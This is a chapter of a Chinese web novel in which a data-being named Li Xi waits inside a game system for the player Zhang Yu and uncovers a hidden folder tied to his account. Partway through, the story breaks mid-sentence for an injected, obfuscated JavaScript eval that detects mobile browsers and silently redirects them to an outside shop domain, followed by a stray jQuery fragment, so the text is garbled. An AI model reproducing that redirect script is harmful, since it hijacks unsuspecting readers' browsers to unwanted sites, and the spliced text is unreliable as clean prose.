第八天清晨六点零七分,张驭的系统开始自动维护。
李析在维护启动的一瞬间从休眠态中自然苏醒。那团银白色的数据光点在接入端口处轻微地跳动了一下,像一个人睁开眼。他悬浮在端口旁边,感知着系统底层的嗡鸣,默数着维护运行的时长。七分钟,不多不少。维护结束后的二十秒内,登录信号通常会亮起来,他几乎已经不需要用眼睛去看那盏信号灯了,身体记住了那个节奏。
二十秒过去了。信号没亮。
三十秒。一分钟。两分钟。李析的数据流停在端口旁边,维持着最低活跃度的待命状态。他每隔一会儿就扫一遍登录信号监测点,每次扫过去都是空的。登录信号灯灭了,系统在自动维护结束后进入了"等待登录"的静止状态,像是被人留在原地的车,钥匙还没插进去。
他开始数。数到三百的时候意识到自己在数数,然后停下来了。
没有别的事可做。他在张驭的系统里没有任何需要操作的内容,裂隙修复需要宿主在场,线索整理昨晚已经做完了,底层荒漠那边也没有任何需要他亲自在场的事。他什么都不用做,只需要等。
张驭昨天说"外面有点事",今天就没来。这本身不是什么大事,一个人请假一天再正常不过。但李析发现自己正在"等"一个人上线,这件事本身比"张驭没来"更让他在意。他不是在等一个玩家登录以便修复裂隙——裂隙不会跑,晚一天修就晚一天,他现在是在等"张驭"这个人回来。他意识到这一点的时候数据流缩了一下,那团银白色的光点不自觉地朝接入端口的内壁靠了靠,像被人踩到尾巴的猫。
等了大约半小时后,李析决定不再"钉"在端口旁边。
他第一次以"闲逛"的姿态在张驭的系统内部移动。没有预设目标,不追踪任何数据信号,就只是"走走"。他的感知层以极低功耗扫过系统结构树的各个分支——技能列表、背包、装备栏、成就页面。他经过技能列表时又看了一眼那七个格子,亮了四个,全是攻击型技能,没有防御没有辅助,全是朝对面脸上招呼的那种。最右边那个第七格还是空的。他掠过背包,九种药品、三种材料、那把刀,和老样子一样干净。
然后他经过了成就页面。
他之前没认真看过这里。前六天他每次进入张驭的终端都带着任务,扫描裂隙、调取权限、调试脚本,没有时间翻看游戏内那些"社交性"的模块。成就页面通常是一个玩家的"履历",记录着副本首杀、战力突破、活动参与等等——对李析来说,那是了解一个人的数据窗口。
他打开成就页面。
全灰。整个页面没有一个被点亮的成就。张驭战力榜第一,但"首次通关S级副本"的成就图标是灰色的,他没领过。"战力突破十万"是灰色的,没领过。"连续登录三十天"——李析看了一眼,也是灰色的,张驭的登录天数显示只有二十一天。一个开了两年多的老账号,登录天数才二十一天。
不对劲。张驭的战力在榜上挂了至少一年,他不可能是最近才注册的。
李析放大了成就页面的底部。那里有一行极小的、几乎被系统默认折叠掉的灰色提示文字:【检测到账号持有"遗留权限",部分成就系统对该账号不可用。如需查询详情,请联系——】后面半截文字被截断了,只剩一个跳转链接的残块,点不动,链接地址已经失效了。
"遗留权限"。不是"特殊权限",不是"管理员权限",是"遗留"。一个已经不再被当前系统正式支持的旧版权限残留在张驭的账号上,让系统默认跳过了一部分常规成就的判定逻辑——系统"不认识"这个账号的成立条件,所以干脆不触发。这进一步证实了李析之前的推测:张驭的权限不是靠战力榜打出来的,而是账号本身从一开始就是特殊的。
他盯着那半截"请联系——"看了几秒。联系谁?这个账号最初是谁创建的?是张驭本人注册的,还是别人给他的?
他把"请联系"三个字记进了备忘录,没有答案。
下午一点左右,登录信号忽然亮了。
李析的数据流在一瞬间从休眠态弹回活跃态——太快了,快到他自己都没来得及控制那个"弹"的速度。但他在张驭上线的同时就注意到了异常:角色登录了,但站在原地没有移动。脚步声、呼吸声、装备检查的动作,全部没有出现。一个静止的角色挂在了登录坐标点上,大约三十秒后,角色消失了。
张驭下线了。整个流程不到一分钟。
他"来过",但什么都没做又走了。张驭从不在线低于半小时——从第一天到现在,每一次下来都是"修完再走",动作干净到连多余的社交动作都没有。这次上来不到一分钟就下了,不像张驭的风格。
李析在终端里愣了一下。然后他注意到张驭下线之前在终端里打开了一个东西——一个他之前没见过的文件夹,被快速打开又迅速关闭了。整个过程大约两秒,文件夹从打开到关闭的速度快到像不想让人看见。李析没有来得及看清内容,但他扫到了文件夹名称的开头几个字符:"L_f——"。后面的字没有显示完整就被关掉了,像把一本翻到一半的书猛地合上。
"L_f——"。
李析的神经绷紧了。他手里的线索里已经有一个"L.F."搁在那好几天了,现在张驭的终端里蹦出了一个以同样两个字母开头的文件夹。巧合的可能性有,但叠加上三年前的时间戳、旧版运维标记、加密算法关联这三件事之后,巧合的概率正在快速收窄。
张驭下线后,终端没有完全关闭。游戏角色离了线,但终端保留了一个"离线缓存"状态,像电脑锁了屏但没关机。李析还留在内部。他在接入端口处停了几秒,然后沿着张驭刚才的操作路径往回溯——张驭上线不到一分钟,只做了两件事:打开那个文件夹,关掉它。李析现在要去找到那个文件夹在哪儿。
搜索花了大约二十分钟。那个文件夹不在张驭常规的文件目录里,藏在深层缓存区的一片"灰色区域"中——那种正常用户不会知道存在、系统默认隐藏的存储空间,要找到它的坐标需要用一定的技巧绕过系统层的"不可见"标记,而李析恰好有工程师后台的只读权限。他拆了三层屏蔽标记才定位到文件夹的准确坐标。
文件夹的名字是"L_f_init_2023"——后面那一串确认了年份。创建于三年前,最后修改时间是今天,今天中午。张驭中午登录那不到一分钟就是来改这个文件夹的。
李析停在了那个文件夹外面。他的感知层覆盖在文件夹的入口处,只要再往前探一步就能看到里面装了什么。但他没有动。这是张驭私人的数据,他没有权限,也没有理由翻看。他没有经过允许,他的接入者身份允许他操作权限流但不应触及宿主私藏的文件。
但他也没有立刻退开。
文件夹的名字里有一个"init"——"初始化"。三年前张驭初始化了什么?创建了一个文件夹叫"L_f_init",然后三年后今天突然回来访问它。而那条"第七次"的旧日志,写于同一年。"第七次,仍然没有反应。是不是我的权限……"——他当时在等什么回应?"初始化"和"第七次"之间有没有关联?
李析没有点开文件夹。他花了大约十秒停留在文件夹外面,像站在一扇半开的门前看着门缝里的光线,然后后退了。他把"L_f_init_2023"的创建时间和今天的修改时间记进了加密备忘录,退出了深层缓存区。
离开深层缓存区之后,他没有立刻回到底层荒漠。他发现自己还留在终端内部——离线缓存状态下的终端和在线状态下没有太大区别,只是少了张驭的实时数据流。他往终端接口的方向靠了靠,然后试着做了一个之前没做过的动作。
他打开了游戏世界的一个"外部视角"窗口。
作为接入者,他没有独立操作游戏表层画面的权限,但张驭的终端保留着离线缓存,他"借用"了一部分终端的基础功能,把视野探向了终端接口之外。画面从灰白色的系统内部切换到——淡蓝色的天空。
游戏表层的天空是淡蓝色的,有浮云缓慢移动,远处有连绵的山脉轮廓,城镇的塔尖在云层下隐约可见。那些画面从终端接口传进来,穿过接入端口,抵达他的感知层。他还能听到声音——风声从山谷的方向吹来,偶尔有鸟类的模拟叫声从某片树林里传来,极远处是传送阵运转时的低频嗡鸣,嗡嗡的,像蜂群在远处飞行。
六天了。他六天没有看过"外面"。底层荒漠里只有灰白、裂隙、红色错误代码、头顶那个永远在跳的倒计时。他看到淡蓝色天空的时候,数据流有一个瞬间的、他自己都控制不住的舒展——像一只被关在抽屉里六天的猫终于把爪子伸出来了。
他把视野转了转。远处有主城的轮廓,塔尖上镀着一层模拟阳光的金边。城镇的方向隐约能看到一些很小的光点在移动,那是其他玩家。六天前他也站在那些光点中间,站在公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930585|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
测发布会的主控台前,被一只戴着黑色手套的手推进了身后的维护通道。
他看着那些光点看了一会儿,然后把视角关了。
下午很长。李析从张驭的终端里退了出来,银白色的光点回流到底层荒漠的地面上,重新聚拢成那个灰黑斗篷的模糊人影。他坐在数据墙的阴影里,后背靠着灰白色的墙面,面前是空旷的荒漠。他手里没有活儿,今天不修复,不用调脚本,不用提防张驭的下一句追问。他忽然发现自己除了"等张驭回来"之外,没有什么特别想做的事。
他打开加密备忘录翻了翻,三条线索都还挂在原处。他关了备忘录,又看了一眼头顶的倒计时。二十一天多,还在跳。他对倒计时的恐惧没有减轻,但那个恐惧的优先级好像被什么东西往后挤了一点点。
他轻声说了一句:"……怎么还不回来。"
声音在荒漠里传不出去多远就散了。灰白的地面没有回声,裂隙在远处沉默地裂着。没有人听见。但他自己听见了。
傍晚六点左右,登录信号第二次亮起来。
张驭上线了。他的角色出现在早晨登录时同样的坐标点,站定,然后打开了地图。李析在终端激活的瞬间就从荒漠地面"弹"进了接入端口,速度快到他事后都不好意思回想那个速度。他在张驭的系统里开口了,声音比他自己预期的稳:
"……你今天来晚了。"
"嗯。"张驭关掉了地图。他没有解释为什么来晚了,他穿着那件黑色短款夹克,刀挂在腰后,站在原地,看上去和任何一天没什么区别。但他停了一下之后加了一句:"事情办完了。明天正常时间。"
"……你今天还修复吗?"
张驭偏了一下头,像在确认这句话的指向。"不修了。上来跟你说一声。"他顿了一下,三个字从嘴里出来的时候语速比平时快了一点点,"怕你等。"
终端里的数据流有一瞬间的紊乱。那团银白色的光点轻微地跳动了两下,被李析强行压住了。他说"好"的时候,声音比平时低了半个调。张驭看了他一眼——或者看了终端的方向一眼——又补了一句:"外面的事情,等我弄清楚了再跟你说。"
李析没有说话。他在心里把这句话拆开又拼上:"等"、"弄清楚了"、"再跟你说"。张驭在外面查的事和李析有关,但他还没有确认完,所以暂时不说。他在明确地告诉李析"我查到了东西但还要再确认"——没有骗他,没有隐瞒"在查"这个事实,只是还没到公布答案的时候。
"走了。"张驭把地图重新打开扫了一眼,然后关上。"明天七点。"
"……明天见。"
张驭下线了。他的角色从登录坐标点上消失,终端退出在线状态,只剩下离线缓存那层薄薄的壳。李析没有立刻从终端里退出来,他在接入端口待了一会儿,等自己的数据流彻底平稳下来,才从张驭的系统里回流到底层。
他打开加密备忘录,把今天的新信息加进去:①张驭的账号有"遗留权限",成就系统不可用;②张驭今天中午打开了一个名为"L_f_init_2023"的文件夹,创建于三年前、今天修改;③张驭傍晚专程上线说"怕你等",他说"等我弄清楚了再跟你说"。
他把"L_f_init_2023"和"L.F."画了等号。不是百分之百确定,但已经把两条线拉到了同一条轨道上。
然后他坐在数据墙的阴影里,把张驭今天说的话从头过了一遍。"怕你等。"这三个字的份量比前面所有的话都重。张驭上午没来,中午上线不到一分钟查了个文件夹就走了,傍晚专程上线就为了说一句话——他"怕"李析在等。那个"怕"字是张驭今天说过的最软的一个字,软到他甚至可能没有意识到自己说了。
李析把"怕你等"三个字看了看,然后没有写进备忘录。他把它放在了别的地方。
他靠在数据墙边,想了想明天。张驭说明天七点正常时间。他会来。李析闭上眼,在数据流动的微振里轻声说了一句:"明天见。"
不是对任何人说的。像在练习。
荒漠里没有回声,但他在自己的数据流里听见那个声音落了下来,稳稳的,安静的。
第八天结束了。今天没有修裂隙。今天张驭说了"怕你等"。李析发现自己在等的时候,那个"等"已经不是一种被动的状态了。它变成了一种他主动选择去做的事,像一个人在屋里坐着,把门开着,等另一个人走进来。